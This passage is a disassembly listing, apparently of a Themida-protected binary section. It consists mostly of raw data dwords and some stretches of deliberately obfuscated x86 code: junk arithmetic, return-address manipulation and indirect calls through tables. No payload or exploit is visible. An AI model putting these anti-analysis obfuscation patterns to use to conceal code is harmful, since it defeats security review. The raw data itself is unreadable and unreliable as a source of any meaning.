362B036Dh, 1B8D30CEh, 6FE006ABh, 0D8B01A1Bh dd 0C2787BE3h, 0CF6366CCh, 0B9416F6h, 0E9D4729Ah, 0C12B796Fh dd 1E4D9DE4h, 3FC4D8h, 0F6A0000h, 0F9AFB21Ah, 399DA000h dd 66C8C096h, 0F97B5BFCh, 73692B23h, 330B750Dh, 0E438D63Eh dd 3A62D35Ch, 416FE907h, 0BDB189F3h, 0D2FF5053h, 836FE907h dd 0C118ECCCh, 8D81D7Ah, 1, 0B5170FAEh, 0DC3A340Ah, 361983D9h dd 25288680h, 0E1B325CEh, 44D2AEB4h, 9C7C1D87h, 0D573D5CDh dd 0BB64D40h, 0FBC5419Ah, 0F7FA4869h, 4BE94741h, 75DDD2A8h dd 0DB39330Bh, 0BB5D87D8h, 8C175FBh, 15F5928h, 0BB797363h dd 0F20A64C4h, 0D9E1AE3Fh, 3DA6A941h, 421B43B4h, 312975FBh dd 1882D0CFh, 0E5E84640h, 73B426C9h, 47DC2A09h, 9E7E1F89h dd 0D977D5CFh, 30138DE4h, 142D4DEh, 0B92B0000h, 95DFE0A8h dd 0E12ABE97h, 0B38898CCh, 6A134FB9h, 0C435E063h, 69FB347Bh dd 0F3C974C2h, 3E9497FDh, 413BF1D4h, 6E6238E3h, 27980104h dd 75FB3BFFh, 0BE28C00Eh, 0F8565040h, 0E7453FF5h, 0E6C663Ch dd 0FB5D550Bh, 0FA16F963h, 98926141h, 50A79C3Ah, 45DE2FB0h dd 7D117B6Fh, 0FA4DDE1Eh, 0A43AD56h, 43h, 0DC6F6AB0h, 0F9B8C031h dd 39871016h, 6BDE536h, 64C7EFE9h, 486511F2h, 973DDC2h dd 94068868h, 3B04A055h, 87046E81h, 0DD4EF988h, 901658D5h dd 0E26B1664h, 0E9A74971h, 9802506Fh, 9A3B1Ah, 6AE90000h dd 5B5BCD63h, 0C6E1107Ah, 0EAD90194h, 92E06FE9h, 55C64FFAh dd 6FE9EA2Dh, 0F984EE3Ch, 0FBFE7388h, 41449269h, 0A80A02D8h dd 0E6C663Eh, 5788F163h, 6CDD9BBFh, 0B70D1076h, 0C933271Fh dd 0F7F1E15Fh, 0DDE04039h, 83ECEF87h, 5154B4ADh, 0FF1E91FBh dd 6775FB06h, 0C34CCEAEh, 0FB072A52h, 38E33175h, 0FB079FC7h dd 0F660AE75h, 28C6241Eh, 5E099893h, 1068EDEDh, 23CE1C70h dd 0F0F3554Dh, 974D309Ah, 0BE943F9Dh, 14F761C9h, 0AA1EFEBDh dd 47520A3h, 6A03D704h, 0CB1FBD0Bh, 35E0636Ah, 0A539F6C3h dd 0CE79FBCEh, 0E92D355Dh, 8CF6446Fh, 8E909001h, 8A1369FEh dd 4FF119h, 0A10BFF76h, 0E849489Eh, 4F4F77h, 78105E76h dd 0DEE12F0Eh, 32D02E28h, 6D95068Fh, 8376004Fh, 0C627268Eh dd 4F2D55h, 56EE3C76h, 0BC1A14ECh, 0E52F68B9h, 7BE712Ch dd 0D7CFA527h, 0C7BC7275h, 8B33C75Fh, 7B07C05Dh, 0F6F0C832h dd 8157FA98h, 0CF252888h, 22938D65h, 0D4A889B1h, 0AA429072h dd 95FBF1A7h, 9C7C3B92h, 0D775D3CDh, 0E48FEDE7h, 4BB5150Eh dd 0DC368h, 99220000h, 0D4A80028h, 57C10F72h, 0F59951Bh dd 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh, 0C07679DDh, 0AA6063CBh dd 944A4DB5h, 7F35389Eh, 6C222587h, 4D0B0E78h, 81E68956h dd 4C6h, 4EE8300h, 8B243487h ; --------------------------------------------------------------------------- and al, 24h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 381Dh mov [esp], eax mov edx, 32681883h push ebx mov ebx, 40690F8Dh xor edx, ebx pop ebx xor edx, 15321D6Ah inc edx and edx, 750F7B62h shr edx, 7 xor edx, 6DD6916h push esp mov eax, [esp] add esp, 4 push ebp push edx sub dword ptr [esp], 1631587Bh pop ebp add ebp, 1631587Bh mov [eax+8], ebp pop ebp push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_54EA15 ; --------------------------------------------------------------------------- dw 79F6h dd 3E140D67h, 0E182B9Eh, 0B816E765h, 617739Eh, 0E0FFC503h dd 48100B96h, 4DC05F64h, 59CD8B6Eh, 200C9F5Ch, 5A97D815h dd 41CD267Eh, 37847685h, 44348B23h, 62C8A86Ah, 2E59DAAh dd 3051F403h, 255C7715h, 0E48A3FBh, 3730145Eh, 1C80B427h dd 79D3BDF3h, 3DB4AF9Dh, 1ACFEF1Fh, 0A3F1B2Dh, 227D68C8h dd 5F1CA534h, 0BE8h, 6A1B2200h, 9BA663D2h, 8F70305Ch, 6E958F8h dd 48000000h, 0DD286A69h, 4EC0812Fh, 0F500005Ah, 0BBC2CBBFh dd 0AAC78142h, 66BD4453h, 0FF984BBEh, 0E9816630h, 0F5A0920h dd 583h, 0E5805300h, 0EA815916h, 252F02A4h, 0D43FE681h dd 0C2812689h, 62D42D88h, 3BEAC281h, 66601D1Dh, 6112C5B9h dd 35BB1089h, 8371500Dh, 0F38004E8h, 1EF834Eh, 0FFB9850Fh dd 830FFFFFh, 3, 8DDEB70Fh, 1775C88Dh, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 6A15B085h, 105D958Bh, 8D890612h, 61209A1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7EC35646h, 0C38B6633h dd 50585C7h, 706C0612h, 0BF660000h, 85C7CEE6h, 6121BD9h dd 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_59DFA3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59DFA3 proc near ; CODE XREF: Themida_:0059DF9Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_59DFA3 endp ; --------------------------------------------------------------------------- sbb bh, [ebx-39h] or ds:8DAC97F4h[ecx*4], al sub edx, 2A868002h push dword ptr [ebp+6122C81h] mov eax, ebx call dword ptr [ebp+6121B31h] mov [ebp+6120435h], ecx push 0 call dword ptr [ebp+61219CDh] mov eax, eax jmp short loc_59E050 ; --------------------------------------------------------------------------- mov dl, 0A4h sub eax, 68E7872Fh mov edx, [edi+20B440Dh] retf ; --------------------------------------------------------------------------- db 0CEh, 0FCh, 0FBh dd 495DF507h, 0CDDBD521h, 1621D88Ah, 374D21D1h, 11F76C32h dd 20A7DEDDh, 1817879Fh, 0F0CE775Ah, 2DDC1C0Fh, 5AEBE3B7h dd 0E989AA78h, 89F373ABh, 0BF265D40h, 6C46973Eh, 0A5E94ABh dd 2BC7A47Ch, 39F7C93h, 0E32E5D78h, 7194C50h, 0BDA5FDF3h dd 9F8DF15Eh, 6945172Ah, 0D2B02CEDh ; --------------------------------------------------------------------------- loc_59E050: ; CODE XREF: Themida_:0059DFE1j lea ebx, [ebp+61209EDh] mov eax, 39h mov [ebp+6121C51h], eax call $+5 pop eax add eax, 0Dh mov [ebx], eax jmp loc_59E0AC ; --------------------------------------------------------------------------- align 4 dd 0Dh dup(77E600h), 0FF77E600h ; --------------------------------------------------------------------------- loc_59E0AC: ; CODE XREF: Themida_:0059E06Ej lea ecx, [ebp+617779Fh] mov eax, [ebp+6121B09h] mov [ebp+61209A1h], ecx push 0 push ebx call sub_59E0C9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59E0C9 proc near ; CODE XREF: Themida_:0059E0C1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_59E0C9 endp ; --------------------------------------------------------------------------- db 3Dh, 0FDh, 1Fh dd 580E554Dh, 0BD019E72h, 61203E9h, 50585C7h, 66480612h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0B0F8D0C3h, 0D985C741h, 6121Bh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 933BC355h, 0BEB7524Ch, 0FE12DAEh, 8A0FF7B7h dd 3, 0FF2AD480h, 122D69B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0E0BEB1F8h dd 10E9C806h, 4F000000h, 72EE8489h, 0EC72C644h, 8765EE01h dd 0FF3591FDh, 121B3195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0D6CC0D2Fh dd 6AD08Bh, 19CD95FFh, 0C08B0612h, 8471EEBh, 0DE4CBF84h dd 2746B000h, 87D441ABh, 0B8C09C32h, 0BAA35F4Bh, 9F55242Bh dd 8E659A2h, 182E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 29C9C20Ah, 619D3521h dd 1C8C0F4Ah, 60000000h, 14E8h, 69FD4F00h, 0D44B0FF5h dd 56699C11h, 5B61DCB0h, 0A58FD808h, 8D615B37h, 1778C2B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 3972F59Ah, 0E9D82102h, 8, 5D7B884Bh, 3CA8D13Fh dd 4986858Dh, 66600615h, 14E9D88Bh, 66000000h, 0BE682420h dd 8E3E84D9h, 4EDC27E1h, 7CA5B258h, 61055E29h, 0E860D0FFh dd 14h, 0F3CC9857h, 0D50490h, 1E7EECC1h, 49D822D5h, 35A8D056h dd 72B45FF5h, 6AC361h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 0B355D0C3h, 0E6A64452h, 18D0F0Fh dd 0FC000000h, 0BE9h, 3A087D00h, 0F1756AF4h, 349BBE9Ah dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 14C4C355h, 5FF9BF17h, 60F86001h dd 8C0Fh, 61610000h, 8E9h, 0F5E9CB00h, 0AF89788Fh, 4C1F650h dd 39840Fh, 8BF80000h, 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh dd 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h, 8D1874C0h dd 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h, 8B09EB00h dd 0B8E4EB00h, 0 dd 0C7F9F8CFh, 17792185h, 1013F06h, 60EB00h, 17h dup(0) dd 0E9000000h, 0A8Bh, 0A7FE9h, 811F6800h, 36E90617h, 68FFFB06h dd 6178263h, 0FB062CE9h, 82CA68FFh, 22E90617h, 0ECFFFB06h dd 0FFEF8DF9h, 1303A10Bh, 2B1BB91Bh, 4131CF35h, 0D946E44Ch dd 0AF170C7Eh, 0C62A2111h, 0DF3F3828h, 0F9575141h, 8AFB5C5Bh dd 76008062h, 5C045669h, 73A62D3h, 0F3416FE9h, 56BAB189h dd 1C14EA53h, 0A29250BAh, 0B9A947ABh, 0A85E61BFh, 964C4FAFh dd 82383B9Fh, 0A47A258Dh, 0FBDE48AEh, 0E5E85045h, 0D0D3392Fh dd 0BDC0221Ah, 50491307h, 0FF97EDF0h, 0CD2193FCh, 240F7E0Fh dd 5853D03Ah, 28AD1EC9h, 0D969FF79h, 87DF0778h, 0A0EE7600h dd 93875D08h, 0F6F68B29h, 1B4FC06Bh, 2A760087h, 8921857Ch dd 50471D86h, 874068D9h, 14F7600h, 2D27FF69h, 0FDD31CFh dd 45BB715h, 0E6616AEAh, 0C7FB0952h, 0C4EC5DA3h, 0CB6FE985h dd 151E57Dh, 1B903ABCh, 69D12DC5h, 86C30A15h, 2698D51Dh dd 0A240B509h, 274FC0ECh, 366CE939h, 0ADE650E8h, 46h, 0E2616A53h dd 9676137h, 0D35C639Fh, 7B1D94Ah, 6AB86FE9h, 7658D00h dd 0C6746FE9h, 16686BCFh, 0B7E0D1A9h, 524AE2D7h, 0B661F959h dd 1B85E9E0h, 0F225CDFh, 5555B11Bh, 1D2019h, 0A97F0000h dd 0F84E51AFh, 616A528Eh, 0EB5C86E2h, 6FE907C3h, 5C3A9624h dd 0B11B0F22h, 5C195555h, 0C22C8E86h, 10BB4645h, 0FB043E9Fh dd 0FE014F69h, 0FB0C81ADh, 0E0B975h, 2F7FD52Ch, 1421CDEh dd 0EA730000h, 0FB005179h, 0A00A5875h, 0DF626A64h, 793C334h dd 4C9A6FE9h, 3B999349h, 2F24FA9Dh, 0F215DC7h, 45BB715h dd 0D063299Bh, 37B40E14h, 616A91CDh, 156986E2h, 1D86C30Ah dd 0E62698D5h, 0D6A09789h, 2D3069D3h, 0D6000000h, 8A82616Ah dd 5C349028h, 0E907C3EBh, 0D17CCA6Fh, 795AC25Fh, 87213C5h dd 0F225CCCh, 3006B11Bh, 2E6AD43Ah, 2B201955h, 0CE000000h dd 86E2616Ah, 7C3EB5Ch, 951E6FE9h, 0E907FC24h, 31A2036Fh dd 6FE90709h, 322AC210h, 0E66BD53Dh, 225CFC58h, 55B11B0Fh dd 626A1955h, 87C334DFh, 966FE907h, 958F4548h, 0F459937h dd 45BB715h, 62D35CEAh, 6FE9073Ah, 0C89F341h, 69288403h dd 86C30A15h, 40EAD51Dh, 90000000h, 86E2616Ah, 3A62D35Ch dd 416FE907h, 8DFE89F3h, 6FE90765h, 96FCF2C8h, 0AA9F4D2Ch dd 51E93F42h, 23EA5CF5h, 0DE9C5AB8h, 0F117BACDh, 0ED85DBD2h dd 0FBEF883h, 5555B11Bh, 2C2019h, 5CCE0000h, 73A62D3h dd 0F3416FE9h, 84030C89h, 0C3EB5C28h, 246FE907h, 0D35C3A96h dd 0A0A305FDh, 8C8FF3EAh, 0F8349E36h, 55B11B0Fh, 0BE201955h dd 0CE000000h, 92E3626Ah, 0D6B6559h, 1520B40Ah, 0FDA840A6h dd 45A59E74h, 8A3868DBh, 9576FE9h, 0F8565006h, 150F065Ah dd 865C5BB7h, 0D42A2D8Dh, 6A6D876Ah, 365ECF61h, 4C6FE907h dd 9AF0F353h, 59B54D9Bh, 2E90865Ch, 0B98E28DFh, 0EA54EC36h dd 0C30A186Ch, 0EAD51D86h, 41h, 0E2616A90h, 0C3EB5C86h dd 1E6FE907h, 84EE5048h, 5CFB57A5h, 5F7926EAh, 21926AF2h dd 6FE9BDF9h, 0B01AB200h, 1B0FEB25h, 865C55B1h, 0C22B2E8Ch dd 0E9072951h, 4AE2306Fh, 20124EE0h, 25h, 0E2616ACEh, 8686137h dd 9304AF05h, 6FE9076Bh, 7EBA2472h, 7C3EB5Ch, 96246FE9h dd 0F225C3Ah, 5555B11Bh, 0B7150F19h, 7D754BB4h, 0E0D9B11Bh dd 693FE280h, 6189FA73h, 686FE907h, 4018821Ah, 7CE5E846h dd 2DA37C0Ah, 0E8525525h, 0E9874B75h, 769616Fh, 0F5554E04h dd 453F09FDh, 0F68EE4E7h, 3E1ED7F3h, 977736CFh, 0D270CEC8h dd 878AE8E2h, 3BBC796Fh, 4077165h, 0C3A344AEh, 0FE9CFAF4h dd 2B91855Bh, 0F775BEC6h, 0A20CA45Ah, 0F09B2625h, 0FB841E7Fh dd 76216F69h, 0BF30ABA0h, 75FB8C97h, 0BDC058A6h, 0C91AFD67h dd 75FB8C9Dh, 481CFCD5h, 0DE2FFFF1h, 2138h, 150FDE00h dd 12830CB7h, 6FE907EAh, 5639A3F1h, 0E907DD05h, 0B393526Fh dd 0EE8CEAE4h, 197F754Bh, 150F73AFh, 12830CB7h, 6FE907EAh dd 5639A3F1h, 0C671F0FBh, 7A4CC3Dh, 8EFF6FE9h, 6FE90766h dd 0DA282775h, 0A374E570h, 0EA69FE7Fh, 751DC0A0h, 6FED349h dd 4FA5A812h, 898419B7h, 0F0C64FFAh, 0B72A94FAh, 70120A56h dd 0E911820Bh, 0F06FEE0Ah, 0AB5938A2h, 0FA5053B1h, 0E20E5F62h dd 1A6FEE0Ah, 368D6141h, 7DD8227Eh, 34h, 90865C23h, 67D1272Ah dd 0B45FE2EAh, 8184E6DEh, 0C536C12Bh, 6FE9078Dh, 0EDC36EBCh dd 368C8FF9h, 736B41CCh, 7658DFEh, 26746FE9h, 1211F08Eh dd 0BF000000h, 34DF626Ah, 0E90787C3h, 9D48966Fh, 0CF6DCFC7h dd 1B3207Bh, 6ACE0000h, 482DE6Dh, 79A1129Bh, 806FE907h dd 0F8CC832h, 695BB715h, 86C30A15h, 0C298D51Dh, 0C4FD67CBh dd 7Ah, 0EC4C451Bh, 6D6A4682h, 0EB5C82DEh, 6FE907C3h, 0EF4F481Eh dd 0DC3E36ECh, 81EB83D9h, 0D02458A2h, 0D287A561h, 0DB35C3Eh dd 23BB0388h, 44AEA278h, 225C9EDAh, 0D294EA5Ch, 70046C61h dd 49B3EA82h, 6C177971h, 3D4A72E3h, 3516FE9h, 3DBFE758h dd 80CE6FE9h, 0EA5CDA16h, 8D5F9126h, 0BA4CB6D2h, 361592Fh dd 49C1038Ah, 6366FE45h, 0BB1D150Dh, 0BCF862B8h, 2920h dd 865CCE00h, 46C32D8Dh, 5C5EBA49h, 9F09FDD3h, 79AC235h dd 83F56FE9h, 4C644237h, 0E93FDDDh, 225C2480h, 59B5170Fh dd 150F1955h, 0F6F96357h, 4AC08A0h, 0BAEA5CEAh, 0DE32EBC0h dd 8D7EFB65h, 0A43C9E96h, 0A156948h, 0D51D86C3h, 57EAh dd 776B4100h, 0C9F1620Dh, 0D06CE907h, 5CDC1882h, 73A62D3h dd 0F3416FE9h, 84030C89h, 4CEA5C28h, 51D9FD6Fh, 1099248Eh dd 76E0423Ah, 0E98BDB03h, 3CAD366Fh, 6FE98B14h, 8463CD1Bh dd 777AE0D6h, 5C2D8921h, 0B11B0F22h, 20195555h, 4Ch, 4BB5A97Fh dd 4C88F248h, 2991865Ch, 5A4942BFh, 0E152FD65h, 6FE907B9h dd 7EDA72C0h, 2D8D865Ch, 177F742Ah, 0BC26BE14h, 798C031h dd 73016FE9h, 0FCEA5C17h, 2DA6ADA2h, 0A2DC67D1h, 58511B0Fh dd 79FF5F8h, 8C865CABh, 0F632C42Eh, 1B8C865Ch, 0E90782AAh dd 0A33B896Fh, 0E34DB7ABh, 0AFB2120Bh, 0E907315Eh, 1EFE7F6Fh dd 72E3564Fh, 6FE9074Ah, 0CD6B0351h, 0B6160F79h, 4404FDB3h dd 5154EC4Ah, 0CD9C7C35h, 4BD674D4h, 6FE90CDEh, 1B1E7C76h dd 0F9822DC5h, 0E9116088h, 0CCC16F6Fh, 730B6164h, 1C1F857Bh dd 2B7F5CC6h, 6ED81D89h, 0FFFFFE13h, 0A3CB3CC5h, 0AA6FE909h dd 74B6F25Ch, 6FE90748h, 0E90717C3h, 767926Fh, 0B6E26FE9h dd 316FE907h, 6FE90705h, 0E9075480h, 0BD2EB7AFh, 2FE90795h dd 0C446970Fh, 9C9B5AEAh, 0A32A34Eh, 112FE996h, 0D1DC59C3h dd 0F936A752h, 5C29FE8Dh, 171E7EEAh, 9C06CA4Dh, 36C6FBDh dd 7770382Dh, 267C7F17h, 0B54C3FBCh, 1F48990Ah, 0B361300Fh dd 0FC5255BFh, 92E67264h, 7E61B942h, 27CD9h, 0CF3B2E00h dd 0E34D4131h, 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h dd 6353F159h, 7A6A086Ch, 93832181h, 9E9D3B99h, 88A4CC3Dh dd 98AB7600h, 0B7150F46h, 0D941360Ch, 3A318C6Fh, 0B68BFCA7h dd 0D769FE7Fh, 1208DE89h, 39C442ACh, 7600800Dh, 9E948F7Eh dd 0BBE33538h, 5D1BF093h, 731EB64Eh, 16198902h, 0ECE29070h dd 6D43EE86h, 87771573h, 0FB842F8Dh, 0E9E7628Ah, 137B706Fh dd 0A706614h, 0BC250872h, 248EECE6h, 0E9E77DB1h, 68FFEE6Fh dd 2952611Bh dd 19C45C61h, 0FF3BCBA8h, 41EC3A69h, 7513716Bh, 822D8B85h dd 8FFFDA10h, 50BA6A89h, 8C1B126Dh, 5EA9EB3h, 0F94034A9h dd 3282050Dh, 0CE57029Ah, 5F355Dh, 8CF64476h, 0D7BF9001h dd 80CE7015h, 382B227Dh, 6FD8DB43h, 0E928D6FEh, 0FF97E56Fh dd 5D33BC67h, 0A7FD0068h, 0A145CA3Dh, 0B60469FEh, 0DD3B350Bh dd 0F7554F3Fh, 0BC198BF4h, 0AF79EBF5h, 935A812h, 7A760090h dd 0D445F073h, 7015E8FFh, 62BDC00Eh, 0BC2DD86Bh, 69FB3C73h dd 635A9C0Eh, 6D683A0Fh, 59DA2403h, 0A5D9104Ch, 0DC59A990h dd 7A21CF48h, 0AC66F0E2h, 0F2D57335h, 1384Dh, 137F7200h dd 27918575h, 3FA19989h, 55BBB1A1h, 6AD2C7B7h, 92005FCCh dd 0A797359Dh, 0BEAE4CB0h, 0D7C765C5h, 0E2E17FDDh, 89E81081h dd 0E4F77600h, 0E0636A92h, 7FEFC435h, 0F03E69FEh, 0B5AE84EDh dd 9A9DFBF5h, 0C542AC44h, 7903BC6h, 80E50D7Eh, 0A6F47600h dd 96FCC93Ch, 0BF0D7012h, 43487FCDh, 20C5A879h, 0D1h, 0DC7AE6D9h dd 0F08EF8ECh, 8A60800h, 1EBC2218h, 33D1392Eh, 4F96BC6h dd 170EFE9Ch, 2C2515B3h, 443E2ECCh, 0E84948E6h, 894F77h dd 0F94B5E76h, 35E0636Ah, 0FE7FE7C4h, 0E5E83669h, 4AB0A67Ch dd 0B00E08E0h, 0A2996F12h, 0EC4E463Eh, 512993E9h, 9BF6F957h dd 0F5661190h, 7015F97Ch, 0B1A13F8Dh, 0C5B553BDh, 0DDCD6BCDh dd 64D681E7h, 2A1FABD6h, 0DB8C2EC2h, 0E1D14FB9h, 43E684ECh dd 0D10786Dh, 80754DB7h, 65D77A18h, 0E793B3E4h, 0A2989044h dd 3FAD23Ch, 1811019Fh, 9F0C34A5h, 0C5136FE9h, 9F81A91Ah dd 3A886FE9h, 8B6104A2h, 0D82E3193h, 3E9C966Eh, 55B9B0A0h dd 982B22B7h, 18037CEDh, 0BC0A69FFh, 0AB0903B9h, 32E0Dh dd 95DC0000h, 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah dd 63CBC076h, 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h dd 54504D0Bh, 40558h, 0E8830000h, 24048704h, 4177685Ch dd 3C890000h, 0E0895024h, 405h, 42D00h, 4870000h, 2C895C24h dd 0DDBE5624h, 50061779h, 0C789F089h, 7C685E58h, 8900003Ch dd 4832424h, 685D0424h, 1D1h, 8F243C89h, 2C8B0845h, 0E0895024h dd 405h, 40500h, 4870000h, 3C8B5C24h, 0E3895324h, 4C381h dd 0C3830000h, 241C8704h, 0FBC3E95Ch, 4BE7FFFAh, 1783C0B8h dd 8BC50306h, 5E8C3h, 4FEC0000h, 0F5EA5470h, 0F2BF0F59h dd 6178C181h, 11E90000h, 0B7000000h, 0FAC59408h, 78A726D5h dd 720987F1h, 0D3DDC4E5h, 182B68h, 0F6BF0F00h, 0C5B8665Bh dd 0F31FF10h, 481h, 61605000h, 0F2815F5Ah, 2E3A11h, 256BEF81h dd 0F60012Ch, 389h, 5FF18000h, 6BFB56B8h, 0EF816103h, 33B42D8h dd 18F781F5h, 665958D9h, 3989F78Bh, 0E9835BB2h, 0DE904h dd 0AD310000h, 64CB702Ch, 8199BC4Dh, 4B8F8623h, 26850Fh dd 13E90000h, 2F000000h, 0F2E5D8CEh, 8BC31278h, 90737A60h dd 18E28784h, 27E9623Fh, 0B000000h, 5C10C412h, 0C7F99717h dd 5C9B58BEh, 0FF77E94Bh, 0A321FFFFh, 0BFB93694h, 84572B2Bh dd 978D792Ch, 0A0730A8Fh, 8D8D193Dh, 61785ADh, 82FCCABBh dd 0A18D8917h, 52061209h, 302D9D89h, 0C7580612h, 12050585h dd 5C5406h, 95858900h, 0C7061216h, 121BD985h, 6, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 6800F93h, 89000000h, 12078985h, 0B9B5FF06h, 8B06122Dh dd 95FFFCFBh, 6121B31h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0EDC35545h, 17FF6DA5h, 95FF006Ah, 61219CDh dd 4FEBC08Bh, 0D97430A0h, 532A43A2h, 0B6C2D9D4h, 0FE5EA07Eh dd 0A62ED66Eh, 852B41B8h, 4395080Eh, 1B2A3B87h, 8C92392h dd 0ACD8CF46h, 1E2FCEBCh, 0E902B114h, 55FA455Eh, 0B167FD15h dd 75D18293h, 0A7020FB6h, 0B1D83A94h, 0A537E61Eh, 32D9246Fh dd 8DC12D8Eh, 1786AE8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 283321FFh, 0D7802E0Ch dd 0A18D8949h, 6A061209h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 13ACC351h, 3011B50Bh dd 85C70612h, 6120505h, 5F04h, 740AF781h, 85C73FB6h, 6121BD9h dd 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_59F08F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59F08F proc near ; CODE XREF: Themida_:0059F087p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_59F08F endp ; --------------------------------------------------------------------------- db 33h dd 0AA51537Dh, 0F2FC7718h, 2C81B5FFh, 0F7800612h, 3195FF7Fh dd 8906121Bh, 121F818Dh, 0FF006A06h, 1219CD95h, 0EBC08B06h dd 2A467D6Dh, 4E014CF8h, 0E27EE82Bh, 1CFFAC69h, 0BF4A0BECh dd 0CE44BAF2h, 58E050A7h, 70FD7444h, 0DCD18B12h, 0C374A2B0h dd 0BBAC6505h, 34B9BD4Eh, 9036DDB9h, 3B0711E1h, 0CBAEAAAh dd 1AEE9CA0h, 32B532D6h, 4BFA1BD2h, 9AFB91h, 0FF921F1Ch dd 1C3AE0E2h, 16477719h, 0F89367AFh, 0BEDBD0BFh, 70CCA76Ah dd 4E77DA2Bh, 45EDF801h, 66E970F7h, 60000002h, 0F6D98C66h dd 840F04C1h, 35h, 0B5FF016Ah, 61203B1h, 7F35858Dh, 0D0FF0615h dd 1958589h, 0FE8B0612h, 680CEFC1h, 20060000h, 26A006Ah dd 0D6857h, 95FF0001h, 6120195h, 32E9h, 7185C600h, 56061228h dd 0C530DF68h, 0E9B5FFA9h, 8D061230h, 157F3585h, 89D0FF06h dd 1201C185h, 0FD858D06h, 50061206h, 56A406Ah, 0C195FF56h dd 61061201h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 87A38589h, 428B0617h, 9B85890Ch dd 8B061787h, 85891042h, 617879Fh, 87D9B58Dh, 858D0617h dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 1787A3B5h, 9B858B06h dd 83061787h, 17879FBDh, 840F0006h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 0A3858908h, 8D061787h, 17882AB5h dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 1787A385h, 4C206h dd 87A3858Bh, 8B0617h, 87A38589h, 0CF0617h, 60000000h dd 8800B589h, 85890617h, 61787FCh, 212D858Dh, 408B0612h dd 39858944h, 8D061788h, 17886FB5h, 0A1858D06h, 0FF005B8Eh dd 858B61D0h, 6178800h, 0FC9D8BC3h, 0F061787h, 33C43B7h dd 785B8BD8h, 87FC9D03h, 738B0617h, 0FCB50324h, 56061787h dd 8B207B8Bh, 0BD031C73h, 61787FCh, 87FCB503h, 83FC0617h dd 8B41FFC9h, 1788009Dh, 3178B06h, 1787FC95h, 4C78306h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 1787FC85h, 858906h, 8B061788h, 8BCE8BF0h dd 39BD81C1h, 61788h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6178839h dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 39BD8100h dd 61788h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 6178839h, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0A7858DCFh dd 89061787h, 1203C185h, 3D858D06h, 89061788h, 12047D85h dd 4858D06h, 89061788h, 12012185h, 1C8E906h, 88880000h dd 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 10000h, 14h dup(0) dd 80C30000h, 